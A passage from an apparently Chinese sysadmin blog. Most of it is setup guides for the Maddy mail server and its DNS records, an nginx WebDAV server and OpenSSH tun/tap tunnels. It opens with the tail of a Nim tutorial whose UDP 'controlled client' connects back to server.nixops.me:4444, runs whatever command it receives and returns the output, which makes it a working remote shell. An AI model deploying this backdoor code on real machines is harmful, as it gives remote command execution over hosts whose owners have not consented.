    echo ">>> Receive Client MESSAGE: <<<", msg.data
    echo msg.data
    echo ">>> Client MESSAGE Finished !<<<"

  for connection in server.connections:
    var cmd = readLine(stdin)
    if cmd.len > 0:
      server.send(connection, cmd)
      echo ">>> Success Send Command: " & cmd & " TO:  ", connection.address

2.2 udp 客户被控端

import net
import osproc
import os
import strutils
import netty

var ip = "server.nixops.me"
var port = 4444

var args = commandLineParams()

if args.len() == 2:
    ip = args[0]
    port = parseInt(args[1])

while true:
    var client = newReactor()
    var c2s = client.connect(ip, port)
    client.send(c2s,"Hello from : " & system.hostOS & "_" & system.hostCPU & "! ")
    while true:
        try:
            client.tick()
            var command = ""
            for msg in client.messages:
                command.add(msg.data)

            if command.len > 0:
                var result = execProcess(command,options = {poUsePath, poStdErrToStdOut, poEvalCommand, poDaemon})
                client.send(c2s,result)
            if client.deadConnections.len > 0 :
                client.disconnect(c2s)
                break
        except:
            sleep(10000)
            continue

三、编译

nim c -d:danger -d:strip --opt:size tcp.nim
nim c -d:danger -d:strip --opt:size udpc.nim
nim c -d:danger -d:strip --opt:size udps.nim

四、总结

Nim优点: 好学、高性能、静态类型、跨平台、编译速度快
缺点也非常明显:生态比较差,标准库也不够完善,以上代码想用daemon方式运行就不行,标准库还没有实现

Maddy打造个人邮箱服务

Maddy Mail Server是一个GO语言开发的ALL-IN-ONE邮件系统,实现了Mail Transfer agent (MTA), Mail Delivery Agent (MDA), Mail Submission Agent (MSA), IMAP server等,说人话就是可以替换Postfix、Dovecot、Opendkim、OpenSPF、OpenDmarc等传统软件,主要功能是通过SMTP发送和接收邮件,通过IMAP实现客户端访问,也支持DKIM、SPF、DMARC、DANE、MTA-STS等邮件相关的安全和反垃圾协议。对比配置传统软件,即使是像MailCow、Mail-in-a-Box等基于docker的现成方案,安装、配置也足够简单、开箱即用,可以说是懒人必备。

一、准备工作

需要准备以下:

  1. 域名 + nameserver
  2. 开放25端口的服务器,最好可以做ip反解析
  3. 干净的IP,可以通过mxtoolbox查询黑名单
  4. 邮件软件 maddy

二、安装及配置Maddy mail server

2.1 下载和安装

从github下载最新版:

wget  https://github.com/foxcpp/maddy/releases/download/v0.5.2/maddy-0.5.2-x86_64-linux-musl.tar.zst

zst后缀需要安装zstd进行解压:

yum install zstd -y 
tar -I zstd -xvf  maddy-0.5.2-x86_64-linux-musl.tar.zst

解压之后的目录有5个文件,安装Maddy:

mv maddy maddyctl /usr/local/bin/
mkdir /etc/maddy && mv maddy.conf /etc/maddy/
mv systemd/*.service /usr/lib/systemd/system/
mv man/*.1 /usr/share/man/man1/ && mv man/*.5 /usr/share/man/man5/

2.2 配置maddy mail server

2.2.1 添加用户

官方不建议root权限运行,先添加一个不可登录的普通用户:

useradd -mrU -s /sbin/nologin  -c "maddy mail server" maddy

添加完用户,设置一下相关的目录及文件的权限:

chown -R maddy:maddy /usr/local/bin/maddy* /etc/maddy 

2.2.2 更改配置文件

默认配置文件在/etc/maddy/maddy.conf,里面已经有一个开箱即用的配置,只需修改几个参数即可使用。

$(hostname) = mx1.nixops.me mx2.nixops.me
$(primary_domain) = nixops.me
$(local_domains) = $(primary_domain)  other.domain.com

tls file /etc/maddy/certs/$(hostname)/fullchain.pem /etc/maddy/certs/$(hostname)/privkey.pem

state_dir /etc/maddy/state
runtime_dir /etc/maddy/runtime
log syslog /var/log/maddy.log

按需修改以上内容即可,如果创建的普通用户未指定home目录,配置文件中的state_dir、runtime_dir需先创建目录并给权限。

2.2.3 申请ssl证书

SMTPs和IMAPs服务需要TLS 证书,建议使用Let's Encrypt 的泛域名证书,具体申请方法就不介绍了。

证书需放入/etc/maddy/certs/$(hostname)中,在配置文件中指定时,需先写公钥(.crt),在写私钥(.key)

证书需设置一下权限:

sudo setfacl -R -m u:maddy:rX /etc/maddy/certs/

2.2.4 创建用户

maddy使用虚拟用户,所以不像postfix和dovecot一样需要创建系统用户。maddy需要创建登录账户和IMAP的本地存储账户,登录账户是SMTP和IMAP登录时的验证信息:

 maddyctl creds create will@nixops.me

创建本地储存账户:

maddyctl imap-acct create will@nixops.me

查看是否创建成功:

maddyctl  creds list
maddyctl  imap-acct  list

2.3 启动服务

以上全部做好后,即可启动服务:

systemctl daemon-reload
systemctl start maddy

正常启动后,会开放以下端口:

  • 25 SMTP Transfer->Exchange ClearText
  • 465 SMTPs User->Submission TLS
  • 587 ESMTP User->Submission ClearText/STARTTLS
  • 143 IMAP Delivery->User ClearText
  • 993 IMAPs Delivery->User TLS

防火墙放行:

firewall-cmd --permanent --add-port={25/tcp,465/tcp,587/tcp,143/tcp,993/tcp}
firewall-cmd --reload

从外网telnet验证一下服务器公网IP是否开放以上端口。尤其需注意25端口是否能够访问

服务器端就配置好了,可以用手机或outlook等客户端进行连接测试。接下来为了收发邮件,还需配置域名解析才行。

三、域名解析配置

无论邮箱系统用的什么软件,都绕不开邮件相关的域名解析,只要搞邮件就需配置以下域名解析:

  • MX记录 :域名系统基础记录,指向邮件服务器
  • PTR记录 :即IP反解析,根据IP反查域名,需供应商来做
  • SPF记录 :指定哪些服务器可以使用你的域名发送邮件
  • DKIM记录 :防止发送的电子邮件内容篡改
  • DMARC记录 :当SPF和DKIM验证失败时,指定接收方的处理策略并向指定邮箱报告

3.1 MX记录

收发邮件时,mx记录指定了自己的邮件服务器地址,可以设置优先级,建议2条以上mx记录

域名       类型   值           优先级
nixops.me mx  mx1.nixops.me  10
nixops.me mx  mx2.nixops.me  20 

设置对应MX子域名的记录:

mx1.nixops.me  A  1.1.1.1
mx2.nixops.me  A  2.2.2.2

设置好后使用dig命令验证一下:

dig  mx  nixops.me @1.1.1.1
dig  a  mx1.nixops.me @1.1.1.1
dig  a  mx2.nixops.me @1.1.1.1

3.2 PTR记录

将域名映射到 IP 地址是正向解析,从 IP 地址到域名的映射就是反向解析,在公网上,反向解析无法由 DNS 提供,因为IP地址的管理权限属于运营商,所以需要向运营商申请添加反向解析,运营商通过 PTR(Pointer Record)记录将 IP 地址指向域名。邮件服务器IP不做PTR记录,发送邮件后会有很大概率被当成垃圾邮件。

联系供应商加好后,可以用dig命令验证:

dig -x 1.1.1.1

3.3 SPF记录

SPF全名是发件人策略框架,主要作用是将发信的邮件服务器和发信域名进行绑定,防止伪造发件人。在SPF记录中使用TXT记录指定允许发信的服务器,当对方收到邮件后,系统会验证发信域名并读取SPF记录中的IP,验证是否一致后采取进一步动作。

以谷歌SPF记录为例:

# dig txt gmail.com  
gmail.com.        300    IN    TXT    "v=spf1 redirect=_spf.google.com"
# dig txt _spf.google.com
_spf.google.com.    300    IN    TXT    "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
# dig txt _netblocks.google.com
_netblocks.google.com.    300    IN    TXT    "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"

SPF记录以v=spf1开头,以all结尾,中间可以使用 ip4/ip6/a/mx/include/redirect等关键字进行ip范围指定。SPF 记录的匹配机制会结合限定词来告诉服务器匹配记录时的动作。常见的限定词有:

  • + 放行,如果没有明确指定限定词,则为默认值。
  • - 硬拒绝,直接拒绝来自未经授权主机的邮件。
  • ~ 软拒绝,邮件可被接受,也可被标记为垃圾邮件。
  • ? 中性,不考虑邮件是否被接受。

个人邮件设置允许 mx记录中的服务器发信即可,最终设置SPF记录为:

  nixopx.me  txt  "v=spf1 mx -all"

3.4 DKIM记录

DKIM记录主要作用也是防止邮件被恶意篡改,保证邮件内容的完整性,使用的方式是与SSL类似,服务器产生一个公私钥对,私钥为每一封外发的邮件签名并在邮件头中插入DKIM签名(DKIM-Signature头),公钥则保存在域名的记录中,邮件接收方接收邮件时,通过DNS查询获得公钥,并使用公钥解密邮件签名, 从而验证邮件有效性和完整性。

Maddy第一次启动后已经自动生成DKIM私钥和需添加的dns记录,位置在state dir(/etc/maddy/state)下的/dkim_keys/_default.dns中,添加txt记录:

default._domainkey.nixops.me  txt  "v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0...省略..."

3.5 DMARC记录

DMARC基于现有的SPF和DKIM协议,并声明对验证失败邮件的处理策略。邮件接收方接收邮件时,首先通过DNS获取DMARC记录,再对邮件来源进行SPF验证和DKIM验证,对验证失败的邮件根据DMARC记录进行处理,并将处理结果反馈给发送方。

添加DMARC记录:

_dmarc.nixops.me  txt  "v=DMARC1; p=quarantine; ruf=mailto:report@ipip.dev"

p:reject 拒绝该邮件;none为不作处理;quarantine 标记为垃圾邮件。
ruf:检测到伪造邮件,接收方报告的邮箱地址

3.6 MTA-STS 和TLS 报告

MTA-STS是MTA 严格传输安全协议,作用是确保发送给我们的电子邮件通过 TLS 安全地传输,防止中间人攻击。启用MTA-STS后,发送方邮件服务器只有在满足以下条件时,才会向我们发送邮件:

  • 使用有效的证书通过身份验证
  • 使用 TLS 1.2 或更高版本进行加密

当然如果发送方不支持MTA-STS,仍然可以发送邮件(可能会有中间人攻击),主要是为了兼容。

启用MTA-STS所需条件:

  • 创建策略文件,并提供HTTPS方式访问
  • 通过DNS 设置txt记录,告诉其它邮件服务商支持MTA-STS

3.6.1 创建策略文件

策略文件mta-sts.txt的内容为:

version: STSv1
mode: enforce
mx: mx1.nixops.me
mx: mx2.nixops.me
max_age: 86400

创建子域名并启用https,最终的访问路径为:

https://mta-sts.nixops.me/.well-known/mta-sts.txt

3.6.2 配置MTA-STS的TXT记录

_mta-sts.nixops.me        TXT     “v=STSv1; id=20211031T010101;"

一般id为时间戳

3.6.3 启用TLS 报告

和DMARC记录类似,启用TLS报告可以接受外部邮件服务器会发送以下内容:检测到的 MTA-STS 政策、流量统计信息、失败的连接以及无法发送的邮件等详细信息。

添加以下txt记录:

_smtp._tls.nixops.me     TXT     "v=TLSRPTv1;rua=mailto:sts-reports@nixops.me"

3.7 DNSSEC、DANE及CAA

启用了MTA-STS后,DANE可以确保TLS证书是有效的,实际上是通过DNS的方式扮演了CA的角色。 DANE通过TLSA 记录,来声明某个证书的是可信的,由于 DANE 是基于 DNS 协议,可能会有被挟持的可能,因此需要启用 DNSSEC 来保障传输过程中不被修改。

  1. 启用DNSSEC需域名注册商及dns服务商都支持,在DNS服务商处选择开启DNSSEC,然后将提供的DS记录填写到域名注册商即可
  2. 使用 TLSA证书生成工具 及PEM格式的TLS证书生成TLSA记录
  3. 使用CAA Record Helper生成的CAA记录

为了保障TLS证书安全:

  1. DNSSEC保障DNS记录传输过程中的安全
  2. DANE在客户端侧阻止不当签发的证书
  3. CAA指定域名允许哪个证书颁发机构为其颁发证书

此步为加强安全性,有能力推荐启用配置

四、总结

邮箱服务不只是系统配置烦琐、反垃圾、安全相关、及域名解析等的都很麻烦,如果使用传统的软件,其实不是很适合新手。虽然有一些基于docker或者脚本的现成方案,但真部署和调试起来也不容易。对比传统软件Maddy mail server 安装和配置都足够简单,满足一个现代安全邮箱所需的功能,也有一定的扩展性,虽然比较新还不够成熟,但对个人友好,适合懒人党对可靠性要求不高的情况。

参考链接及有用的工具:

  1. https://mxtoolbox.com/
  2. https://www.mail-tester.com/
  3. https://aykevl.nl/apps/mta-sts/
  4. https://support.google.com/a/answer/10683907
  5. https://support.google.com/a/answer/2466563?hl=zh-Hans
  6. https://service.mail.qq.com/cgi-bin/help?id=16

nginx配置功能完整的webdav服务器

webdav可以通过HTTP协议对 Web 服务器进行文件读写,并支持文件的版本控制和写文件的加锁及解锁等操作,各平台都有客户端,支持的软件也多,对于没有复杂需求的跨平台网盘,是一个不错的选择。

一、所需模块

  1. ngx_http_dav_module: nginx自带模块,默认未启用,支持webdav的PUT、DELETE、 MKCOL、COPY、MOVE等基础的方法
  2. nginx-dav-ext-module: 提供了额外的PROPFIND、OPTIONS、LOCK、UNLOCK方法支持
  3. headers-more-nginx-module: IOS、windows等默认客户端使用COPY、MOVE等方法时,$http_destination中的URI没有带上"/",导致出现无法删除、重命名文件或文件夹等错误,该模块可以修复该错误,兼容更多的客户端
  4. ngx_http_auth_basic_module:提供基础的用户验证

二、安装依赖及编译

我用的是openresty,默认已经编译了headers-more-nginx-module,nginx默认就已经启用了ngx_http_auth_basic_module,所以编译时只需在原参数后启用http_dav_module及nginx-dav-ext-module及可,先解决openresty和nginx-dav-ext-module模块的依赖关系。

2.1 安装nginx-dav-ext-module 的依赖

dnf install libxml2  libxslt

2.2 安装 openresty 相关依赖

dnf install pcre-devel zlib-devel openssl-devel  gcc gcc-c++ make 

2.3 下载 openresty 和 nginx-dav-ext-module

wget https://openresty.org/download/openresty-1.19.9.1.tar.gz
git clone https://github.com/arut/nginx-dav-ext-module

2.4 编译 openresty

在原有的编译参数后启用 dav 相关的模块:

./configure --prefix=/opt/openresty/ --with-threads --with-http_ssl_module \
--with-http_v2_module --with-http_realip_module --with-http_addition_module \
--with-http_gunzip_module --with-http_gzip_static_module --with-http_auth_request_module \
--with-http_random_index_module --with-http_secure_link_module --with-http_degradation_module\ --with-http_slice_module --with-http_stub_status_module --with-stream --with-stream_ssl_module\ --with-stream_ssl_preread_module  --with-http_flv_module  --with-http_mp4_module \
--with-http_sub_module  --with-http_slice_module  --with-http_stub_status_module \
--with-http_dav_module  --add-module=../nginx-dav-ext-module/

三、配置nginx的dav模块

3.1 nginx配置文件

#在 http 段加入,mac 客户端需要启用锁支持
dav_ext_lock_zone zone=webdav:10m;

server {
    listen 80;
    listen 443 ssl http2;

    server_name 
          dav.nixops.me
          ;

    access_log logs/dav_access.log main;
    error_log  logs/dav_error.log;

    ssl_certificate  "/opt/openresty/nginx/conf/vhosts/keys/nixops.me.crt";
    ssl_certificate_key "/opt/openresty/nginx/conf/vhosts/keys/nixops.me.key";


    location / {

        #设置webdav目录,注意Nginx worker用户对该目录需有读写权限
        root /opt/webdav;

        auth_basic "Private Site";
        auth_basic_user_file /opt/openresty/nginx/conf/vhosts/dav.pass;

        charset utf-8;
        autoindex on;
        autoindex_localtime on;
        autoindex_exact_size off; 
        
        #不限制文件大小
        client_max_body_size 0;

        #启用完整的创建目录支持,默认情况下,Put 方法只能在已存在的目录里创建文件
        create_full_put_path  on;
        dav_access user:rw group:rw all:r;
        
        
        #为各种方法的URI后加上斜杠,解决各平台webdav客户端的兼容性问题
        set $dest $http_destination;
        if (-d $request_filename) {
            rewrite ^(.*[^/])$ $1/;
            set $dest $dest/;
        }

        if ($request_method ~ (MOVE|COPY)) {
            more_set_input_headers 'Destination: $dest';
        }

        if ($request_method ~ MKCOL) {
            rewrite ^(.*[^/])$ $1/ break;
        }

        #支持所有方法
        dav_methods PUT DELETE MKCOL COPY MOVE;
        dav_ext_methods PROPFIND OPTIONS LOCK UNLOCK;
        dav_ext_lock zone=webdav;
    }
}

3.2 设置webdav用户和密码

有两种方式,第一种使用openssl:

printf "nixops:$(openssl passwd      -crypt nixops.me)\n" >>/opt/openresty/nginx/conf/vhosts/dav.pass

第二种使用htpasswd命令,需要安装httpd-tools工具:

htpasswd -b -c /opt/openresty/nginx/conf/vhosts/dav.pass nixops nixops.me

经过以上配置,webdav就可以完美兼容mac、IOS(documents app)、windows及linux客户端了

四、测试

mac、IOS(documents app)、windows及linux客户端下连接webdav的方法就不介绍了。只说一下使用curl命令的测试方法,方便在shell脚本中使用webdav。

webdav支持以下方法:

  • OPTIONS : 检索服务
  • GET :获取文件
  • PUT、POST : 上传文件
  • DELETE : 删除文件或集合
  • COPY : 复制文件
  • MOVE : 移动文件
  • MKCOL : 创建由一个或多个文件 URI 组成的新集合
  • PROPFIND : 获取属性(创建日期、文件作者等),实现文件的查找与管理
  • LOCK、UNLOCK : 添加、删除文件锁,实现写操作保护

使用curl 测试时,URI后面一定要带'/',不然就会报错

创建目录:

curl -X MKCOL -u USER:PASSWORD https://dav.nixops.me/test/ 

上传文件:

curl -T FILE -u USER:PASSWORD  https://dav.nixops.me/test/

改名:

curl -X MOVE -u USER:PASSWORD --header 'Destination:https://dav.nixops.me/test/newname' https://dav.nixops.me/test/File 

删除:

curl -X DELETE -u USER:PASSWORD  https://dav.nixops.me/test/File 

五、其它的一些设置

Mac挂载webdav后会自动写入很多文件,可以通过nginx配置屏蔽掉,保持webdav目录的干净

location ~ \.(_.*|DS_Store|Spotlight-V100|TemporaryItems|Trashes|hidden|localized)$ {
    access_log  off;
    error_log   off;

    if ($request_method = PUT) {
        return 403;
    }
    return 404;
}

location ~ \.metadata_never_index$ {
    return 200 "Don't index this drive, Finder!";
}

参考文章:
http://www.weixueyuan.net/a/738.html
https://www.robpeck.com/2020/06/making-webdav-actually-work-on-nginx/

OpenSSH建立二层和三层加密隧道

OpenSSH 可以使用tun/tap设备来创建一个加密隧道,SSH隧道类似mode TCP模式下的OpenVPN,对于有需求快速设置一个基于IP的VPN来说非常方便。使用SSH隧道的优点:

  1. 不需要安装和配置额外的软件
  2. 使用SSH认证并自带加密,不需要使其它VPN软件一样配置共享密钥或者证书
  3. 兼容性强,可以建立二层隧道或三层隧道,所有3/4层协议如:ICMP、TCP/UDP 等都可支持
  4. 配置过程简单

当然也有缺点:

  1. 基于TCP协议,其传输效率较低
  2. 隧道依赖于单个TCP连接,容易中断或假死
  3. 需要ROOT权限

这里还要说明一下二层和三层的区别:

  • layer 2 : 交换单元是帧,只识别MAC地址,只有交换功能,相关协议:Ethernet、VLAN、STP、PPP、FDDI、ARP(OSI模型)、MPLS(介于2层3层之间)等,在Linux中是虚拟点对点设备,显示为tap
  • layer 3 : 交换单元是包,能识别MAC地址和IP,有交换和路由功能,相关协议:IP、ICMP、IGMP、IPsec等,在Linux中是虚拟以太网设备,显示tun

在Linux中tun/tap都可以设置IP,只是模拟的工作层有区别,tun是模拟三层网络设备,收发的是IP包,无法处理以太网数据帧。tap模拟的是二层设备,收发的是以为网数据帧,更接近物理网卡,可以和物理网卡通过网桥绑定。我们日常用的wmware虚拟机中的nat网络,对应的就是tun,桥接网络对应的就是tap。

一、ssh server端配置

首先要使用ssh的二层和三层隧道,尽量保证系统差别不要太大,我这里两边都是oracle linux 8,SSH版本更新到最新。server端需要允许root登录和隧道,编辑/etc/ssh/sshd_config:

PermitRootLogin yes
PermitTunnel yes
#建议添加
TCPKeepAlive yes

PermitTunnel yes代表允许point-to-point (layer 3)和ethernet (layer 2)

二、三层隧道配置

2.1 建立三层隧道

在client端执行:

ssh -w any:any  root@[server_ip] 

如果客户端和服务器端没有其它的tun设备,就会在客户端和服务器端各生成一个名为tun0设备,指定any可以自动分配可用的设备。查看设备:

[root@centos8 ~]# ip addr
3: tun0: <POINTOPOINT,MULTICAST,NOARP> mtu 1500 qdisc noop state DOWN group default qlen 500
    link/none 

可以看到有个tun0 <POINTOPOINT,MULTICAST,NOARP>,这个设备是未激活的状态,如果用ifconfig命令查看,需要加上-a参数才能看到。

为安全起见,建议使用以下命令:

ssh -NTCf -w 5:5 root@[server_ip]
  • “-N”:不执行远程命令
  • “-T”:不分配终端
  • “-C”:压缩传输的流量
  • “-f”:在客户端后台运行

执行完该命令client和server各自会创建一个tun5的点对点设备,下一步就是需要激活设备并分配IP。

2.2 分配IP并激活隧道

分配IP不要与服务器和客户端网段有冲突,这里假设:

客户端IP:10.0.0.2 tun5
服务器IP:10.0.0.1 tun5

服务器激活点对点设备并分配IP和路由:

ip link set tun5 up
ip addr add 10.0.0.1/32 peer 10.0.0.2 dev tun5

客户端同理:

ip link set tun5 up
ip addr add 10.0.0.2/32 peer 10.0.0.1 dev tun5

这时隧道已经建立成功,此时用查看一下状态:

[root@centos8 ~]# ip addr
14: tun5: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 10.0.0.1 peer 10.0.0.2/32 scope global tun5

可以看到比之前多了“UP,LOWER_UP”,说明已经激活。正常情况下客户端和服务器已经可以相互ping。

客户端用一条命令也能搞定:

ssh \
  -o PermitLocalCommand=yes \
  -o LocalCommand="ip link set tun5 up && ip addr add 10.0.0.2/32 peer 10.0.0.1 dev tun5 " \
  -o TCPKeepAlive=yes \
  -w 5:5  root@[server_ip] \
  'ip link set tun5 up && ip addr add 10.0.0.1/32 peer 10.0.0.2 dev tun5'
  

2.3 添加其它网段的路由

如果服务器端有其它内网段,需要继续添加客户端路由才能ping通,例如,客户端想与服务器端网段10.0.12.0/24互通,需在客户端执行:

ip route add  10.0.12.0/24 dev tun5

按需添加即可,更改路由是高风险操作,需要格外小心,同时也要确保ssh连接不要中断。

三、二层隧道配置

由于linux中允许为tap设备设置ip,所以二层隧道和三层隧道也可以完全一样的进行配置。区别是tap设备可以和物理网卡进行绑定,也就是桥接,同时由于工作在二层,允许Arp通过,能支持STP生成树、PPP等协议。

3.1 建立二层隧道

在客户端执行:

ssh  -o Tunnel=ethernet -w 6:6    root@[server_ip] 

这里参数 -o 需要在 -w 前面,查看一下客户端和服务器的网卡:

[root@centos8 ~]# ip addr
20: tap6: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN group default qlen 1000

在ip命令中 tap6: <BROADCAST,MULTICAST>,和物理网卡显示的一样,说明模拟的是物理网卡。

3.2 创建并配置网桥

二层可以进行网卡桥接,桥接可以多块网卡,也可以一块网卡,这里测试为了省事只用一块网卡,创建网桥有三种工具:

  1. 使用bridge-utils中的brctl命令
  2. 使用oracle linux 8 系列自带的nmcli
  3. 使用ip命令

建议用ip命令建立:

ip link add br0 type bridge

将tap6加入网桥:

ip link set tap6 master br0

配置服务器端网桥IP信息并启动网桥:

ip address add 10.0.0.1/32 dev br0
ip link set tap6 up
ip link set br0 up

客户端流程一样,只是客户端的ip是10.0.0.2

在客户端测试ARP包能不能通过:

[root@oracle8 ~]# arping -I br0 10.0.0.1
ARPING 10.0.0.1 from 10.0.0.2 br0
Unicast reply from 10.0.0.1 [3A:E7:2F:3F:42:24]  193.222ms
Unicast reply from 10.0.0.1 [3A:E7:2F:3F:42:24]  191.903ms

如果是三层隧道,就无法使用arping。

看似很多内容,其实使用很简单,OpenSSH套件功能真强大。

参考文章
https://help.ubuntu.com/community/SSH_VPN
https://www.cyberciti.biz/faq/centos-8-add-network-bridge-br0-with-nmcli-command/
https://gobomb.github.io/post/build-l2-l3-vpn-by-openssh/

最新文章

最近回复

分类

归档

统计

  • 文章总数:167篇
  • 分类总数:5个
  • 评论总数:103条
  • 页面总数:171个
  • 本站运行:4826天

其它